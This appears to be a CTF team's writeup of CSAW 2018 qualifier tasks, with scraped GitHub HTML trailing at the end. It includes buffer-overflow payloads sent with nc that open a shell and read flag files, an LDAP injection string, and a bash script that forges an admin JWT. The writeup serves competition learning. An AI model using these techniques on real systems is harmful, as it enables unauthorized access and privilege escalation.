```flag{$("#cresponsevar ``` finally this came up to mind:```javascriptvar knownText = "\").html(\"";``` running code, shows that for key ```dumbh4ck5```, decrypted value is readable. response will be:```if(u == "XorIsNotSooS3cur3") { if(document.location.href.indexOf("?p=") == -1) { document.location = document.location.href + "?p=" + u; } } else { $("#cresponse").html("<div class='error'>Wrong password sorry.")}``` So visiting ```http://35.200.218.73/?p=XorIsNotSooS3cur3``` will give us the flag. peace:)
# CSAW CTF Qualification Round 2018 2018 WriteupThis repository serves as a writeup for CSAW CTF Qualification Round 2018 which are solved by The [S3c5murf](https://ctftime.org/team/63808/) team ## Twitch Plays Test Flag **Category:** Misc**Points:** 1**Solved:** 1392**Description:** > ``flag{typ3_y3s_to_c0nt1nue}`` ### Write-upJust validate it. So, the flag is : ``flag{typ3_y3s_to_c0nt1nue}`` ## bigboy **Category:** Pwn**Points:** 25**Solved:** 656**Description:** > Only big boi pwners will get this one! > ``nc pwn.chal.csaw.io 9000`` **Attached:** [boi](resources/pwn-25-bigboy/boi) ### Write-upIn this task, we are given a file and we should use a socket connexion to get the flag. Let's try opening a socket connexion using that command ``nc pwn.chal.csaw.io 9000``. Input : testtesttest Output : Current date Alright. Now, we start analyzing the given file. Using the command ``file boi``, we get some basic information about that file: The given file is an ELF 64-bit executable file that we need for testing before performing the exploitation through the socket connexion. So let's open it using Radare2 : ```r2 boiaaa #For a deep analysis``` Then, we disassamble the main() method: ```pdf @main``` As we can see, there is 8 local variables in the main method: ```| ; var int local_40h @ rbp-0x40| ; var int local_34h @ rbp-0x34| ; var int local_30h @ rbp-0x30| ; var int local_28h @ rbp-0x28| ; var int local_20h @ rbp-0x20| ; var int local_1ch @ rbp-0x1c| ; var int local_18h @ rbp-0x18| ; var int local_8h @ rbp-0x8``` Then, some local variables are initialized: ```| 0x00400649 897dcc mov dword [rbp - local_34h], edi| 0x0040064c 488975c0 mov qword [rbp - local_40h], rsi| 0x00400650 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=0x1a98 ; '('| 0x00400659 488945f8 mov qword [rbp - local_8h], rax| 0x0040065d 31c0 xor eax, eax| 0x0040065f 48c745d00000. mov qword [rbp - local_30h], 0| 0x00400667 48c745d80000. mov qword [rbp - local_28h], 0| 0x0040066f 48c745e00000. mov qword [rbp - local_20h], 0| 0x00400677 c745e8000000. mov dword [rbp - local_18h], 0| 0x0040067e c745e4efbead. mov dword [rbp - local_1ch], 0xdeadbeef``` After that, the message was printed "Are you a big boiiiii??" with the put() function: ```| 0x00400685 bf64074000 mov edi, str.Are_you_a_big_boiiiii__ ; "Are you a big boiiiii??" @ 0x400764| 0x0040068a e841feffff call sym.imp.puts ; sym.imp.system-0x20; int system(const char *string);``` Next, the read() function was called to read the input set by the user from the stdin:```| 0x0040068f 488d45d0 lea rax, qword [rbp - local_30h]| 0x00400693 ba18000000 mov edx, 0x18| 0x00400698 4889c6 mov rsi, rax| 0x0040069b bf00000000 mov edi, 0| 0x004006a0 e85bfeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte);``` The input was set in the [rbp - local_30h] address. Then, a comparison was trigered to compare the value of the `[rbp - local_1ch]` address to the `0xcaf3baee` value. But as explained previously, the `[rbp - local_1ch]` value was `0xdeadbeef` and not `0xcaf3baee`. What to do then ? As we remember, the data input from the stdin is set in the `[rbp - local_30h]` address. And since we don't see any check on the data input set by the user while calling the read() function, we can exploit a buffer overflow attack to set the `0xcaf3baee` value in the `[rbp - local_30h]` address. The difference between rbp-0x30 and rbp-0x1c in hexadecimal is 14. In base10 it's 20. So the offset that we should use is equal to 20 bytes. To resume the input should looks like : ``20 bytes + 0xcaf3baee``. Let's exploit ! In exploit, I only need peda-gdb (I installed it and linked it to gdb so if you don't already downloaded peda-gdb, some of the next commands will not work or will not have the same output). We run peda-gdb on the binary file and we disassamble the main function just to get the instruction's line numbers: ```gdb boipdisass main``` Output : We set a breakpoint on line main+108 to see the registers state after calling the cmp instruction: ```b *main+108``` Let's try running the binary file with a simple input (for example input='aaaa' : length <=20): ```r <<< $(python -c "print 'aaaa'")``` Output : The value of RAX register (64 bits) is `0xdeadbeef` which is the value of EAX register (32 bits). As I remember EAX register is the lower 32 bits of the RAX register. So until now, this makes sense to see that value in RAX register. The value of RSI register (64 bits) is `aaaa\n` also as expected (data input). And while jne (jump if not equals) is executed, the program will jump to the lines that executes /bin/date (refer to the main disassambled using radare2). This is why, we see the current date in the output when we continue using `c` in gdb. Another important thing, in the stack, we can see the value of the local variables. Now, let's try smaching the stack and set 20+4 bytes in the data input: ```r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaabbbb'")``` Output : We can see that the value of RAX (means to EAX) is `bbbb` and we can see that in the stack part, the `0xdeadbeef00000000` was replaced by `aaaabbbb` after replacing the other local variables. And even though, the `Jump is taken`. So, if we continue the execution, we will get the current date. Now, let's perform the exploitation seriously and replace `bbbb` by the `0xcaf3baee` value: ```r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")``` Output : Now, RAX (means to EAX) gets the good value `0xcaf3baee`. And the Jump was not taken. Let's continue : ```c``` Output : So the /bin/dash was executed. Now, we try this exploit remotely over a socket connexion: ```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")``` Pwned ! We got the shell. And we can get the flag. But, wait... This is not good. Whatever the command that we run through this connexion, we don't receive the output. Let's try sending the commands on the payload directly: ```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcals'")``` Output : Good ! Let's cat the flag file : ```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcacat flag.txt'")``` Output : So, the flag is : ``flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}`` ## get it? **Category:** Pwn**Points:** 50**Solved:** 535**Description:** > Do you get it? ### Write-upI tried writing a write-up but after reading another one, I felt uncomfortable to write it. This is the greatest write-up of this task that I recommand reading it : [https://ctftime.org/writeup/11221](https://ctftime.org/writeup/11221) Which is a shortcut it this one : [https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md](https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md) My solution was closer because it remains to some payload : ```python -c "print 'A'*40+'\xb6\x05\x40\x00\x00\x00\x00\x00'" > payload(cat payload; cat) | nc pwn.chal.csaw.io 9001``` Output : Now, we got the shell ! We can also get the flag : ```idlscat flag.txt``` Output : So, the flag is `flag{y0u_deF_get_itls}`. ## A Tour of x86 - Part 1 **Category:** Reversing**Points:** 50**Solved:** 433**Description:** > Newbs only! > `nc rev.chal.csaw.io 9003` > -Elyk > Edit (09/15 12:30 AM) - Uploaded new stage-2.bin to make Part 2 easier. **Attached:** [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) [Makefile](resources/reversing-50-a_tour_of_x86_part_1/Makefile) [stage-2.bin](resources/reversing-50-a_tour_of_x86_part_1/stage-2.bin) ### Write-upIn this task, we only need the [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) file. The other files are needed in the next stage which I haven't already solve it. I just readed this asm file and I answered to the five question in the socket connexion opened with `nc rev.chal.csaw.io 9003`. > Question 1 : What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x') Resume of the instructions : ```xor dh, dh ; => dh xor dh = 0. So the result in hexadecimal is 0x00``` > Question 2 : What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x') Resume of the instructions : ```mov dx, 0xffff ; => dx=0xffffnot dx ; => dx=0x0000mov gs, dx ; => gs=dx=0x0000``` > Answer 3 : What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x') Resume of the instructions : ```mov cx, 0 ; cx=0x0000 ; Registers that ends with 'x' are composed of low and high registers (cx=ch 'concatenated with' cl)mov sp, cx ; => sp=cx=0x0000mov si, sp ; => si=sp=0x0000``` > Answer 4 : What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x') Resume of the instructions : ```mov al, 't' ; => al='t'=0x74 (in hexadecimal)mov ah, 0x0e ; => ah=0x0e. So ax=0x0e74. Because ax=ah 'concatenated with' al``` > Answer 5 : What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x') Resume of the instructions : ```.string_to_print: db "acOS", 0x0a, 0x0d, " by Elyk", 0x00 ; label: <size-of-elements> <array-of-elements>mov ax, .string_to_print ; 'ax' gets the value of the 'db' array of bytes of the .string_to_print sectionmov si, ax ; si=axmov al, [si] ; 'al' gets the address of the array of bytes of the .string_to_print section. Which means that it gets the address of the first byte. So al=0x61mov ah, 0x0e ; ah=0x0e. So ax=0x0e61. Because ax=ah 'concatenated with' al``` Then, we send our answers to the server : Input and output : ```nc rev.chal.csaw.io 9003........................................Welcome! What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')0x00 What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')0x00 What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')0x0000 What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')0x0e74 What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')0x0e61flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}``` So, the flag is `flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}` ## Ldab **Category:** Web**Points:** 50**Solved:** 432**Description:** > dab > `http://web.chal.csaw.io:8080` ### Write-upThis task was a kind of LDAP Injection. After we visit this page `http://web.chal.csaw.io:8080` in the web browser, we get this result : After some search tries, I understood that there is a filter like this `(&(GivenName=<OUR_INPUT>)(!(GivenName=Flag)))` (the blocking filter is in the right side, not in the left side). I understood this after solving this task. But, I'm gonna explain what is the injected payload and how it worked. The payload choosed was `*))(|(uid=*`. And this payload set as an input, when it replaces `<OUR_INPUT>`, the filter will looks like this : `(&(GivenName=*))(|(uid=*)(!(GivenName=Flag)))`. This is interpreted as : > Apply an AND operator between `(GivenName=*)` which will always succeed. > Apply an OR operator between `(uid=*)` and `(!(GivenName=Flag))` which will succeed but it doesn't show the flag. As I understood, the default operator between these two conditions is an OR operator if there is no operator specified. So, after setting `*))(|(uid=*` as an input, we will get the flag : So, the flag is `flag{ld4p_inj3ction_i5_a_th1ng}`. ## Short Circuit **Category:** Misc**Points:** 75**Solved:** 162**Description:** > Start from the monkey's paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format. > Elyk **Attached** [20180915_074129.jpg](resources/misc-75-short_circuit/20180915_074129.jpg)**Hint:** There are 112 Things You Need to Worry About ### Write-upIn this task we are given a photo that contains a circuit from which we should find the flag. Personally, I solved this task without that hint. I'm gonna relate how I solved this task. It was not so easy if you can't get it. After seeing this given picture and after reading the description, I was confused. Is it rotated correctly ? Or should we find the correct rotation ? So, I choosed this rotation because it looks better for me (that I can think better with a relaxed mind) : Maybe, I choosed this rotation also because of these hints : I tried to determinde the path between the 2 +Vcc : In the first impression, after seeing the LED Diodes, I said > "Maybe we should find the bits from each led : 1 if the electricity goes through the LED and 0 if not". So let's fix some concepts. In physics, the electricity goes through an electric component IF there is no short circuit or if the electricity reach the ground. This is what I say in physics related to this task Also, a short circuit means that the input node have the same voltage as the output node. So the electricity will go from node A to node B through the cable without going in the other path through any other electric component. So, for the first 16 bits it was OK, I found the begining of the format flag 'flag{}' only for 2 bytes 'fl'. And I was excited : I commented on 'Counts as 2 each' and I said "Of course because there is 2 LED Diodes. What a useless information". But starting for the third byte, it was a disaster. I was affraid that I was bad in physics. And it was impossible for me to get even a correct character from the flag format 'flag{}'. I said maybe I'm wrong for the orientation. Since, in the description, the author mentionned that we should ignore the first bit. I said, the flag characters are they 7-bits and shall we add the last bit as a 0 ? The answer was 'No'. I changed the orientation 180 degree. But, I didn't get any flag format. In the both directions, there is many non-ascii characters. And I was confused of seeing the same LED diode connected multiple times to the path. So, when I should set a value (0 or 1) to the LED Diode, I say 'should it be 'xx1xxxx' (setting the LED value in the first match) or 'xxxxx1x' (setting the LED value in the last match) 'xx1xx1x' (setting the LED value in all matches) ? Example : Should it be '1xxxx' (1 related to the LED marked with a green color) or should it be 'xxxx1' or should it be all of these as '1xxxx1' ? I was just stuck. And finally in the last 10 minutes before the end of the CTF I get it ! It was not `for each LED Diode we count a bit`. Instead it was `For each cable connected to the principle path, we count a bit`: Finally, we get the following bits : ```01100110 01101100 01100001 01100111 01111011 01101111 01110111 01101101 01111001 01101000 01100001 01101110 01100100 01111101``` Which are in ascii `flag{owmyhand}`. So, the flag is `flag{owmyhand}`. ## sso **Category:** Web**Points:** 100**Solved:** 210**Description:** > Don't you love undocumented APIs > Be the admin you were always meant to be > http://web.chal.csaw.io:9000 > Update chal description at: 4:38 to include solve details > Aesthetic update for chal at Sun 7:25 AM ### Write-upIn this task, we have the given web page `http://web.chal.csaw.io:9000` : In the source code we can finde more details about the available URLs: So we have to access to `http://web.chal.csaw.io:9000/protected`. But, when we access to this page, we get this error : We need an Authorization header which is used in many applications that provides the Single Sign-on which is an access control property that gives a user a way to authenticate a single time to be granted to access to many systems if he is authorized. And that's why we need those 3 links : > `http://web.chal.csaw.io:9000/oauth2/authorize` : To get the authorization from the Oauth server > `http://web.chal.csaw.io:9000/oauth2/token` : To request for the JWT token that will be used later in the header (as Authorization header) instead of the traditional of creating a session in the server and returning a cookie. > `http://web.chal.csaw.io:9000/protected` : To get access to a restricted page that requires the user to be authenticated. The user should give the Token in the Authorization header. So the application could check if the user have the required authorization. The JWT Token contains also the user basic data such as "User Id" without sensitive data because it is visible to the client. In this example, the Oauth server and the application that contains a protected pages are the same. In real life, this concept is used in social media websites that are considered as a third party providing an Oauth service to authenticate to an external website using the social media's user data. Now let's see what we should do. First, we sould get the authorization from the Oauth server using these parameters: > URL : http://web.chal.csaw.io:9000/oauth2/authorize > Data : response_type=code : This is mandatory > Data : client_id=A_CLIENT_ID : in this task, we can use any client_id, but we should remember it always as we use it the next time in thet /oauth2/token page > Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : if the authorization succeeded (in the Oauth server), the user will be redirected to this URI (in the application) to get the generated token. In this task we can use any redirect_uri. Because, in any way, we are not going to follow this redirection > Data : state=123 : Optionally we can provide a random state. Even, if we don't provide it, it will be present in the response when the authorization succeed So in shell command, we can use cURL command to get the authorization : ```cl_id=1echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token&state=123" | awk -v FS="code=|&state" '{print $2}')echo "Getting Authorization Code : ${auth_key}"``` Output : ```Getting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjU2MTEsImV4cCI6MTUzNzIyNjIxMX0.LM3-5WruZfx1ld9SidXAGvnF3VNMovuBU4RtFYy8rrg``` So, this is the autorization code that we should use to generate the JWT Token from the application. Let's continue. As we said, we will not follow the redirection. Even you did that, you will get an error. I'm going to explain that. Next, we send back that Authorization Code to the application (`http://web.chal.csaw.io:9000/oauth2/token`) : > URL : http://web.chal.csaw.io:9000/oauth2/token > Data : grant_type=authorization_code : mandatory > Data : code=THE_GIVEN_AUTHORIZATION_CODE : the given authorization code stored in auth_key variable from the previous commands > Data : client_id=SAME_CLIENT_ID : the same client id used in the begining (variable cl_id) > Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : this URI should be the same redirect_uri previously used So the cURL command will be : ```echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token")echo "Getting Json Response : ${token}"``` Output : ```Getting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k"}``` And, we get the Json response from the token page. Now, this application generated for us a JWT Token that contains some data that identifies our user which is supposed to be previously authenticated to the Oauth server (I repeat, I said it's supposed to be. To give you an example, it's like a website, that needs to get authorization from Facebook to get access to your user data and then it returns a JWT Token that contains an ID that identifies you from other users in this external website. So you should be previously authenticated to the Oauth server (Facebook) before that this external website gets an authorization to get access to your user data. Seems logical). Let's extract the JWT Token from the Json response : ```jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")echo "Extracting JWT Token : ${jwt}"``` Output : ```Extracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k``` Nice ! Now, we decode this JWT Token using python. If you don't have installed the 'PyJWT' python library, you should install it in Python2.x : ```pip install PyJWTjwt_decoded=$(pyjwt decode --no-verify $jwt)echo "Decoding JWT Token : ${jwt_decoded}"``` Output : ```Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}``` Good ! Now, we know that secret="ufoundme!" and the type="user". In the first impression when I get this output, I said, why there is no username or user id and instead there is the secret ? Maybe my user is an admin as expected from the task description. But when I try to access to the protected page using this JWT Token I get this : ```curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt}"``` Output : ```You must be admin to access this resource``` Wait... What ? Why I'm not already an admin ? When I checked again all the previous steps I said there is no way how to set my user to be an admin, I didn't get it how to do that. Because, as I said, the user is supposed to be authenticated to the Oauth server. Some minutes later I though that the solution is behind this line : ```Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}``` Maybe, type="user" should be type="admin". But, in JWT, if the used algorithm that generates the token is HS256, there is no way to break it. Because JWT Token is composed from "Header"+"Payload"+"Hash". And when we modify the Payload, we should have the key that is used to hash the payload to get a valid JWT Token. And, from there I get the idea that maybe the hash is computed using a key which is a secret string. And since we have in the payload secret="ufoundme!", this will make sense ! Let's try it ! First, we edit the payload like this (we can change exp value and extend it if the token is expired) : ```{"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}``` So, we need using these commands : ```jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"``` Output : ```Replacing 'user by 'admin' : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}``` Then, we generate again the JWT Token using the alogirhm HS256 and using the secret "ufoundme!" : ```secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")echo "Extracting JWT secret for signing while encoding this payload : ${secret}"jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")echo "Generating the new JWT Token : ${jwt_new}"``` Output : ```Extracting JWT secret for signing while encoding this payload : ufoundme!Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjc2MjUsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyODIyNX0.Y-7Ew7nYIEMvRJad_T8_cqZpPxAo_KOvk24qeTce9S8``` We can check the content of the JWT Token if needed : ```verif=$(pyjwt decode --no-verify $jwt_new)``` Output : ```Verifing the JWT Token content : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}``` And finally we send try again get accessing to the protected page using this newly created JWT : ```curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"``` Output : ```flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}``` To resume all the commands needed to get the flag, you can get all the commands from below or from this [sso_solution.sh](resources/web-100-sso/sso_solution.sh) ```sh#!/bin/bash cl_id=1echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io$echo "Getting Authorization Code : ${auth_key}"echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=ht$echo "Getting Json Response : ${token}"jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")echo "Installing PyJWT python2.x library"pip install PyJWTecho "Extracting JWT Token : ${jwt}"jwt_decoded=$(pyjwt decode --no-verify $jwt)echo "Decoding JWT Token : ${jwt_decoded}"jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")echo "Extracting JWT secret for signing while encoding this payload : ${secret}"jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")echo "Generating the new JWT Token : ${jwt_new}"verif=$(pyjwt decode --no-verify $jwt_new)echo "Verifing the JWT Token content : ${verif}"echo "GET http://web.chal.csaw.io:9000/protected"echo "Response :"curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"echo ""``` Output : ```POST http://web.chal.csaw.io:9000/oauth2/authorizeGetting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjg3ODMsImV4cCI6MTUzNzIyOTM4M30.1w-Wrwz-jY9UWErqy_W8Xra8FUUQdfJttvQLbELY050POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization CodeGetting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaI"}Installing PyJWT python2.x libraryRequirement already satisfied: PyJWT in /usr/local/lib/python2.7/dist-packagesExtracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaIDecoding JWT Token : {"iat": 1537228783, "secret": "ufoundme!", "type": "user", "exp": 1537229383}Replacing 'user by 'admin' : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}Extracting JWT secret for signing while encoding this payload : ufoundme!Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjg3ODMsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyOTM4M30.RCW_UsBuM_0Le-kawO2CNolAFwUS3zYLoQU_2eDCurwVerifing the JWT Token content : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}GET http://web.chal.csaw.io:9000/protectedResponse :flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}``` So, the flag is `flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}` # Scoreboard Our team S3c5murf (2 team members thanks to Dali) get ranked 139/1488 active challenger with a score 1451. This is the scoreboard and the ranking in this CTF : Summary: Tasks:
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 